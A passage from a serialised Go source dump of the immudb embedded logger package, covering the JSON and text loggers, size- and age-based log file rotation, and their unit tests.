{\n\tl.logWithFmt(l.Name(), LogInfo, msg, args...)\n}\n\n// Warningf prints the message and args at WARN level\nfunc (l *JsonLogger) Warningf(msg string, args ...interface{}) {\n\tl.logWithFmt(l.Name(), LogWarn, msg, args...)\n}\n\n// Errorf prints the message and args at ERROR level\nfunc (l *JsonLogger) Errorf(msg string, args ...interface{}) {\n\tl.logWithFmt(l.Name(), LogError, msg, args...)\n}\n\n// Update the logging level\nfunc (l *JsonLogger) SetLogLevel(level LogLevel) {\n\tatomic.StoreInt32(&l.level, int32(level))\n}\n\n// Name returns the loggers name\nfunc (i *JsonLogger) Name() string {\n\treturn i.name\n}\n\n// Close the logger\nfunc (i *JsonLogger) Close() error {\n\tif wc, ok := i.writer.(io.Closer); ok {\n\t\treturn wc.Close()\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/logger/json_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestJSONLogger(t *testing.T) {\n\tt.Run(\"log\", func(t *testing.T) {\n\t\tlogger, err := NewJSONLogger(nil)\n\t\trequire.NoError(t, err)\n\n\t\tlogger.SetLogLevel(LogDebug)\n\t\trequire.EqualValues(t, LogDebug, logger.level)\n\n\t\tvar buf bytes.Buffer\n\t\tlogger, err = NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Info(\"test call\", \"user\", \"foo\")\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"test call\", raw[\"message\"])\n\t\trequire.Equal(t, \"foo\", raw[\"user\"])\n\n\t\trequire.NoError(t, logger.Close())\n\t})\n\n\tt.Run(\"use UTC time zone\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:       \"test\",\n\t\t\tOutput:     &buf,\n\t\t\tTimeFormat: time.Kitchen,\n\t\t\tTimeFnc:    func() time.Time { return time.Now().UTC() },\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Info(\"foobar\")\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tval, ok := raw[\"timestamp\"]\n\t\tif !ok {\n\t\t\tt.Fatal(\"missing 'timestamp' key\")\n\t\t}\n\n\t\trequire.Equal(t, val, time.Now().UTC().Format(time.Kitchen))\n\t})\n\n\tt.Run(\"log error type\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\terrMsg := errors.New(\"this is an error\")\n\t\tlogger.Info(\"test call\", \"user\", \"foo\", \"err\", errMsg)\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"test call\", raw[\"message\"])\n\t\trequire.Equal(t, \"foo\", raw[\"user\"])\n\t\trequire.Equal(t, errMsg.Error(), raw[\"err\"])\n\t})\n\n\tt.Run(\"handles non-serializable args\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tmyfunc := func() int { return 42 }\n\t\tlogger.Info(\"test call\", \"production\", myfunc)\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"test call\", raw[\"message\"])\n\t\trequire.Equal(t, errInvalidTypeMsg, raw[\"warn\"])\n\t})\n\n\tt.Run(\"use file output for logging\", func(t *testing.T) {\n\t\tfile, err := ioutil.TempFile(\"\", \"logger\")\n\t\trequire.NoError(t, err)\n\t\tdefer os.Remove(file.Name())\n\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:       \"test\",\n\t\t\tOutput:     file,\n\t\t\tTimeFormat: time.Kitchen,\n\t\t\tTimeFnc:    func() time.Time { return time.Now().UTC() },\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Info(\"some info\", \"foo\", \"bar\")\n\n\t\tlogBytes, err := ioutil.ReadFile(file.Name())\n\t\trequire.NoError(t, err)\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(logBytes, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info\", raw[\"message\"])\n\t\trequire.Equal(t, \"bar\", raw[\"foo\"])\n\n\t\trequire.NoError(t, logger.Close())\n\t})\n\n\tt.Run(\"log with debug\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Debug(\"some info\", \"foo\", \"bar\")\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info\", raw[\"message\"])\n\t\trequire.Equal(t, \"bar\", raw[\"foo\"])\n\t\trequire.Equal(t, \"debug\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with warning\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Warning(\"some info\", \"foo\", \"bar\")\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info\", raw[\"message\"])\n\t\trequire.Equal(t, \"bar\", raw[\"foo\"])\n\t\trequire.Equal(t, \"warn\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with error\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Error(\"some info\", \"foo\", \"bar\")\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info\", raw[\"message\"])\n\t\trequire.Equal(t, \"bar\", raw[\"foo\"])\n\t\trequire.Equal(t, \"error\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with infof\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Infof(\"some info %s %s\", \"foo\", \"bar\")\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info foo bar\", raw[\"message\"])\n\t\trequire.Equal(t, \"info\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with debugf\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Debugf(\"some info %s %s\", \"foo\", \"bar\")\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info foo bar\", raw[\"message\"])\n\t\trequire.Equal(t, \"debug\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with warningf\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Warningf(\"some info %s %s\", \"foo\", \"bar\")\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info foo bar\", raw[\"message\"])\n\t\trequire.Equal(t, \"warn\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with errorf\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogger.Errorf(\"some info %s %s\", \"foo\", \"bar\")\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"some info foo bar\", raw[\"message\"])\n\t\trequire.Equal(t, \"error\", raw[\"level\"])\n\t})\n\n\tt.Run(\"log with component\", func(t *testing.T) {\n\t\tvar buf bytes.Buffer\n\t\tlogger, err := NewJSONLogger(&Options{\n\t\t\tName:   \"test\",\n\t\t\tOutput: &buf,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tlogWithFunc(logger, \"some info foo bar\")\n\n\t\tb := buf.Bytes()\n\n\t\tvar raw map[string]interface{}\n\t\tif err := json.Unmarshal(b, &raw); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\trequire.Equal(t, \"github.com/codenotary/immudb/embedded/logger.logWithFunc\", raw[\"component\"])\n\t})\n\n}\n\nfunc logWithFunc(l *JsonLogger, msg string) {\n\tl.Infof(\"%s\", msg)\n}\n"
  },
  {
    "path": "embedded/logger/log_file_writer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n)\n\nfunc createLogFileWriter(opts *Options) (io.Writer, error) {\n\tif opts.LogDir != \"\" {\n\t\tif err := os.MkdirAll(opts.LogDir, os.ModePerm); err != nil && !errors.Is(err, os.ErrExist) {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif opts.LogRotationAge > 0 && opts.LogRotationAge < logRotationAgeMin {\n\t\treturn nil, fmt.Errorf(\"log rotation age must be greater than %s\", logRotationAgeMin.String())\n\t}\n\n\ttimeFunc := opts.TimeFnc\n\tif timeFunc == nil {\n\t\ttimeFunc = func() time.Time {\n\t\t\treturn time.Now()\n\t\t}\n\t}\n\n\tlf := &logFileWriter{\n\t\ttimeFunc:        timeFunc,\n\t\ttimeFormat:      opts.LogFileTimeFormat,\n\t\tdir:             opts.LogDir,\n\t\tfileName:        opts.LogFile,\n\t\trotationSize:    opts.LogRotationSize,\n\t\trotationAge:     opts.LogRotationAge,\n\t\tcurrSegmentSize: 0,\n\t}\n\terr := lf.rotate(lf.currAge())\n\treturn lf, err\n}\n\nvar _ io.Closer = (*logFileWriter)(nil)\n\ntype logFileWriter struct {\n\tcurrSegment *os.File\n\n\ttimeFunc   TimeFunc\n\ttimeFormat string\n\n\tdir      string\n\tfileName string\n\n\trotationSize int\n\trotationAge  time.Duration\n\n\tcurrentSegmentAgeNum int64\n\tcurrSegmentSize      int\n\tnextSeqNum           int\n}\n\nfunc (bf *logFileWriter) Write(buf []byte) (int, error) {\n\tage := bf.currAge()\n\tif bf.shouldRotate(len(buf), age) {\n\t\tif err := bf.rotate(age); err != nil {\n\t\t\treturn -1, err\n\t\t}\n\t}\n\n\tn, err := bf.currSegment.Write(buf)\n\tif err == nil {\n\t\tbf.currSegmentSize += len(buf)\n\t}\n\treturn n, err\n}\n\nfunc (bf *logFileWriter) shouldRotate(nBytes int, ageNum int64) bool {\n\tif bf.rotationAge == 0 && bf.rotationSize == 0 {\n\t\treturn false\n\t}\n\n\tif bf.rotationSize > 0 && bf.currSegmentSize+int(nBytes) > bf.rotationSize {\n\t\treturn true\n\t}\n\n\tif bf.rotationAge > 0 && int64(ageNum) > bf.currentSegmentAgeNum {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (bf *logFileWriter) rotate(age int64) error {\n\tif err := bf.Close(); err != nil {\n\t\treturn err\n\t}\n\n\tbf.currSegmentSize = 0\n\tif bf.rotationAge > 0 {\n\t\tbf.currentSegmentAgeNum = age\n\t}\n\n\tname, err := bf.getNextSegmentName()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogFile, err := os.Create(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbf.currSegment = logFile\n\treturn nil\n}\n\nfunc (bf *logFileWriter) getNextSegmentName() (string, error) {\n\tnum := bf.nextSeqNum\n\tname := bf.segmentName()\n\t_, err := os.Stat(name)\n\tfor err == nil {\n\t\tnum++\n\t\t_, err = os.Stat(fmt.Sprintf(\"%s.%04d\", name, num))\n\t}\n\tif !errors.Is(err, os.ErrNotExist) {\n\t\treturn \"\", err\n\t}\n\n\t// NOTE: Without specifying a time format, the same file names will be generated during each rotation.\n\tif bf.timeFormat == \"\" {\n\t\tbf.nextSeqNum = num\n\t}\n\n\tif num > 0 {\n\t\treturn fmt.Sprintf(\"%s.%04d\", name, num), nil\n\t}\n\treturn name, nil\n}\n\nfunc (bf *logFileWriter) segmentName() string {\n\tif bf.timeFormat == \"\" || bf.rotationAge == 0 {\n\t\treturn filepath.Join(bf.dir, bf.fileName)\n\t}\n\n\text := filepath.Ext(bf.fileName)\n\tt := time.Unix(0, bf.currentSegmentAgeNum*bf.rotationAge.Nanoseconds())\n\n\tname := fmt.Sprintf(\"%s_%s%s\", strings.TrimSuffix(bf.fileName, ext), t.Format(bf.timeFormat), ext)\n\treturn filepath.Join(bf.dir, name)\n}\n\nfunc (bf *logFileWriter) currAge() int64 {\n\tif bf.rotationAge == 0 {\n\t\treturn 0\n\t}\n\treturn bf.timeFunc().UnixNano() / bf.rotationAge.Nanoseconds()\n}\n\nfunc (bf *logFileWriter) Close() error {\n\tif bf.currSegment == nil {\n\t\treturn nil\n\t}\n\n\tif err := bf.currSegment.Sync(); err != nil {\n\t\treturn err\n\t}\n\treturn bf.currSegment.Close()\n}\n"
  },
  {
    "path": "embedded/logger/log_file_writer_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLogFileIsRotatedOnInit(t *testing.T) {\n\ttempDir := t.TempDir()\n\n\ttoday := time.Now().Truncate(time.Hour * 24)\n\n\topts := &Options{\n\t\tName:       \"immudb\",\n\t\tLogFormat:  LogFormatJSON,\n\t\tLevel:      LogDebug,\n\t\tLogDir:     tempDir,\n\t\tLogFile:    \"immudb.log\",\n\t\tTimeFormat: LogFileFormat,\n\t\tTimeFnc: func() time.Time {\n\t\t\treturn today\n\t\t},\n\t}\n\n\tlogger, err := NewLogger(opts)\n\trequire.NoError(t, err)\n\n\tfiles, err := readFiles(tempDir, \"immudb\")\n\trequire.NoError(t, err)\n\trequire.Len(t, files, 1)\n\trequire.Equal(t, \"immudb.log\", files[0])\n\n\terr = logger.Close()\n\trequire.NoError(t, err)\n\n\tlogger, err = NewLogger(opts)\n\trequire.NoError(t, err)\n\tdefer logger.Close()\n\n\tfiles, err = readFiles(tempDir, \"immudb\")\n\trequire.NoError(t, err)\n\trequire.Len(t, files, 2)\n\trequire.Equal(t, []string{\"immudb.log\", \"immudb.log.0001\"}, files)\n}\n\ntype mockWriter struct {\n\tnBytes int\n\tnCalls int\n}\n\nfunc (w *mockWriter) Write(buf []byte) (int, error) {\n\tw.nBytes += len(buf)\n\tw.nCalls++\n\treturn len(buf), nil\n}\n\nfunc TestLogAreSentToOutput(t *testing.T) {\n\tmw := &mockWriter{}\n\n\tlogger, err := NewLogger(&Options{\n\t\tName:      \"immudb\",\n\t\tLogFormat: LogFormatJSON,\n\t\tOutput:    mw,\n\t\tLevel:     LogDebug,\n\t})\n\trequire.NoError(t, err)\n\tdefer logger.Close()\n\n\tnLogs := 100\n\tfor i := 0; i < nLogs; i++ {\n\t\tlogger.Errorf(\"test log %d\", i)\n\t}\n\trequire.Equal(t, mw.nCalls, nLogs)\n}\n\nfunc TestLoggerFileWithRotationDisabled(t *testing.T) {\n\ttempDir := t.TempDir()\n\n\tlogger, err := NewLogger(&Options{\n\t\tName:      \"immudb\",\n\t\tLogFormat: LogFormatJSON,\n\t\tLevel:     LogDebug,\n\t\tLogDir:    tempDir,\n\t\tLogFile:   \"immudb.log\",\n\t\tTimeFnc: func() time.Time {\n\t\t\treturn time.Now()\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\tdefer logger.Close()\n\n\tnLogs := 100\n\tfor i := 0; i < nLogs; i++ {\n\t\tlogger.Errorf(\"test log %d\", i)\n\t}\n\n\terr = logger.Close()\n\trequire.NoError(t, err)\n\n\tentries, err := os.ReadDir(tempDir)\n\trequire.NoError(t, err)\n\trequire.Len(t, entries, 1)\n\trequire.Equal(t, \"immudb.log\", entries[0].Name())\n\n\tf, err := os.Open(filepath.Join(tempDir, \"immudb.log\"))\n\trequire.NoError(t, err)\n\n\tsc := bufio.NewScanner(f)\n\tfor sc.Scan() {\n\t\trequire.Contains(t, sc.Text(), \"test log\")\n\t}\n\trequire.NoError(t, sc.Err())\n}\n\nfunc TestLoggerFileAgeRotation(t *testing.T) {\n\ttempDir := t.TempDir()\n\n\tage := time.Hour * 24\n\ti := 0\n\tnow := time.Now().Truncate(age)\n\n\tlogger, err := NewLogger(&Options{\n\t\tName:            \"immudb\",\n\t\tLogFormat:       LogFormatText,\n\t\tLevel:           LogDebug,\n\t\tLogDir:          tempDir,\n\t\tLogFile:         \"immudb.log\",\n\t\tLogRotationSize: 1024 * 1024,\n\t\tLogRotationAge:  time.Hour * 24,\n\t\tTimeFnc: func() time.Time {\n\t\t\tt := now.Add(age * time.Duration(i))\n\t\t\ti++\n\t\t\treturn t\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\tdefer logger.Close()\n\n\tnLogs := 100\n\tfor i := 0; i < nLogs; i++ {\n\t\tlogger.Errorf(\"this is a test\")\n\t}\n\trequire.Equal(t, nLogs+1, i)\n\n\tentries, err := os.ReadDir(tempDir)\n\trequire.NoError(t, err)\n\trequire.Len(t, entries, nLogs+1)\n\n\tfiles, err := readFiles(tempDir, \"immudb.log\")\n\trequire.NoError(t, err)\n\trequire.Len(t, files, nLogs+1)\n\n\trequire.Equal(t, files[0], \"immudb.log\")\n\tfor i := 1; i < len(files); i++ {\n\t\trequire.Equal(t, fmt.Sprintf(\"immudb.log.%04d\", i), files[i])\n\t}\n}\n\nfunc TestLoggerFileAgeRotationWithTimeFormat(t *testing.T) {\n\ttempDir := t.TempDir()\n\n\tage := time.Hour * 24\n\ti := 0\n\tnow := time.Now().Truncate(age)\n\n\tlogger, err := NewLogger(&Options{\n\t\tName:              \"immudb\",\n\t\tLogFormat:         LogFormatText,\n\t\tLogFileTimeFormat: LogFileFormat,\n\t\tLevel:             LogDebug,\n\t\tLogDir:            tempDir,\n\t\tLogFile:           \"immudb.log\",\n\t\tLogRotationSize:   1024 * 1024,\n\t\tLogRotationAge:    time.Hour * 24,\n\t\tTimeFnc: func() time.Time {\n\t\t\tt := now.Add(age * time.Duration(i))\n\t\t\ti++\n\t\t\treturn t\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\tdefer logger.Close()\n\n\tnLogs := 100\n\tfor i := 0; i < nLogs; i++ {\n\t\tlogger.Errorf(\"this is a test\")\n\t}\n\trequire.Equal(t, nLogs+1, i)\n\n\tfiles, err := readFiles(tempDir, \"immudb\")\n\trequire.NoError(t, err)\n\trequire.Len(t, files, nLogs+1)\n\n\tfor n, f := range files {\n\t\tname := strings.TrimSuffix(f, path.Ext(f))\n\t\tidx := strings.LastIndex(name, \"_\")\n\t\trequire.GreaterOrEqual(t, idx, 0)\n\n\t\tsegmentAge := name[idx+1:]\n\t\tageTime, err := time.Parse(LogFileFormat, segmentAge)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, ageTime.UTC(), now.Add(age*time.Duration(n)).UTC())\n\t}\n}\n\nfunc TestLoggerFileSizeRotation(t *testing.T) {\n\ttempDir := t.TempDir()\n\n\tlogger, err := NewLogger(&Options{\n\t\tName:            \"immudb\",\n\t\tLogFormat:       LogFormatText,\n\t\tLevel:           LogDebug,\n\t\tLogDir:          tempDir,\n\t\tLogFile:         \"immudb.log\",\n\t\tLogRotationSize: 100,\n\t\tLogRotationAge:  time.Hour * 24,\n\t})\n\trequire.NoError(t, err)\n\n\tnLogs := 100\n\tfor i := 0; i < nLogs; i++ {\n\t\tlogger.Errorf(\"this is a test\")\n\t}\n\n\terr = logger.Close()\n\trequire.NoError(t, err)\n\n\tfiles, err := readFiles(tempDir, \"immudb.log\")\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, files)\n\n\tfor _, fname := range files {\n\t\tfinfo, err := os.Stat(filepath.Join(tempDir, fname))\n\t\trequire.NoError(t, err)\n\t\trequire.LessOrEqual(t, finfo.Size(), int64(100))\n\t}\n}\n\nfunc readFiles(dir, prefix string) ([]string, error) {\n\tentries, err := os.ReadDir(dir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfiles := make([]string, 0)\n\tfor _, e := range entries {\n\t\tif e.IsDir() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif strings.HasPrefix(e.Name(), prefix) {\n\t\t\tfiles = append(files, e.Name())\n\t\t}\n\t}\n\n\tsort.Slice(files, func(i, j int) bool {\n\t\treturn files[i] < files[j]\n\t})\n\treturn files, nil\n}\n"
  },
  {
    "path": "embedded/logger/logger.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n)\n\nvar (\n\tErrInvalidLoggerType = errors.New(\"invalid logger type\")\n\n\tlevelToString = map[LogLevel]string{\n\t\tLogDebug: \"debug\",\n\t\tLogInfo:  \"info\",\n\t\tLogWarn:  \"warn\",\n\t\tLogError: \"error\",\n\t}\n)\n\nconst (\n\tLogFileFormat     = time.RFC3339\n\tlogRotationAgeMin = time.Minute\n)\n\n// LogLevel ...\ntype LogLevel int8\n\n// Log levels\nconst (\n\tLogDebug LogLevel = iota\n\tLogInfo\n\tLogWarn\n\tLogError\n)\n\n// Logger ...\ntype Logger interface {\n\tErrorf(string, ...interface{})\n\tWarningf(string, ...interface{})\n\tInfof(string, ...interface{})\n\tDebugf(string, ...interface{})\n\tClose() error\n}\n\nfunc LogLevelFromEnvironment() LogLevel {\n\tlogLevel, _ := os.LookupEnv(\"LOG_LEVEL\")\n\tswitch strings.ToLower(logLevel) {\n\tcase \"error\":\n\t\treturn LogError\n\tcase \"warn\":\n\t\treturn LogWarn\n\tcase \"info\":\n\t\treturn LogInfo\n\tcase \"debug\":\n\t\treturn LogDebug\n\t}\n\treturn LogInfo\n}\n\ntype (\n\tTimeFunc = func() time.Time\n\n\t// Options can be used to configure a new logger.\n\tOptions struct {\n\t\t// Name of the subsystem to prefix logs with\n\t\tName string\n\n\t\t// The threshold for the logger. Anything less severe is supressed\n\t\tLevel LogLevel\n\n\t\t// Where to write the logs to. Defaults to os.Stderr if nil\n\t\tOutput io.Writer\n\n\t\t// The time format to use instead of the default\n\t\tTimeFormat string\n\n\t\t// A function which is called to get the time object that is formatted using `TimeFormat`\n\t\tTimeFnc TimeFunc\n\n\t\t// The format in which logs will be formatted. (eg: text/json)\n\t\tLogFormat string\n\n\t\t// The directory logs will be stored to.\n\t\tLogDir string\n\n\t\t// The file to write to.\n\t\tLogFile string\n\n\t\t// The time format of different log segments.\n\t\tLogFileTimeFormat string\n\n\t\t// The maximum size a log segment can reach before being rotated.\n\t\tLogRotationSize int\n\n\t\t// The maximum duration (age) of a log segment before it is rotated.\n\t\tLogRotationAge time.Duration\n\t}\n)\n\n// NewLogger is a factory for selecting a logger based on options\nfunc NewLogger(opts *Options) (logger Logger, err error) {\n\tout := opts.Output\n\tif out == nil {\n\t\tout = os.Stderr\n\t}\n\n\tif opts.LogFile != \"\" {\n\t\tw, err := createLogFileWriter(opts)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tout = w\n\t}\n\n\tswitch opts.LogFormat {\n\tcase LogFormatJSON:\n\t\toptsCopy := *opts\n\t\toptsCopy.Output = out\n\n\t\treturn NewJSONLogger(&optsCopy)\n\tcase LogFormatText:\n\t\treturn NewSimpleLogger(opts.Name, out), nil\n\tdefault:\n\t\treturn nil, ErrInvalidLoggerType\n\t}\n}\n"
  },
  {
    "path": "embedded/logger/logger_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestNewLogger(t *testing.T) {\n\ttype args struct {\n\t\topts *Options\n\t}\n\ttests := []struct {\n\t\tname           string\n\t\targs           args\n\t\twantLoggerType Logger\n\t\twantErr        bool\n\t}{\n\t\t{\n\t\t\tname: \"with json logger\",\n\t\t\targs: args{\n\t\t\t\topts: &Options{\n\t\t\t\t\tName:      \"foo\",\n\t\t\t\t\tLogFormat: \"json\",\n\t\t\t\t},\n\t\t\t},\n\t\t\twantLoggerType: &JsonLogger{},\n\t\t\twantErr:        false,\n\t\t},\n\t\t{\n\t\t\tname: \"with text logger\",\n\t\t\targs: args{\n\t\t\t\topts: &Options{\n\t\t\t\t\tName:      \"foo\",\n\t\t\t\t\tLogFormat: LogFormatText,\n\t\t\t\t},\n\t\t\t},\n\t\t\twantLoggerType: &SimpleLogger{},\n\t\t\twantErr:        false,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgotLogger, err := NewLogger(tt.args.opts)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"NewLogger() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer gotLogger.Close()\n\t\t\tif reflect.TypeOf(gotLogger) != reflect.TypeOf(tt.wantLoggerType) {\n\t\t\t\tt.Errorf(\"NewLogger() = %v, want %v\", gotLogger, tt.wantLoggerType)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNewLoggerWithFile(t *testing.T) {\n\ttests := []struct {\n\t\tname           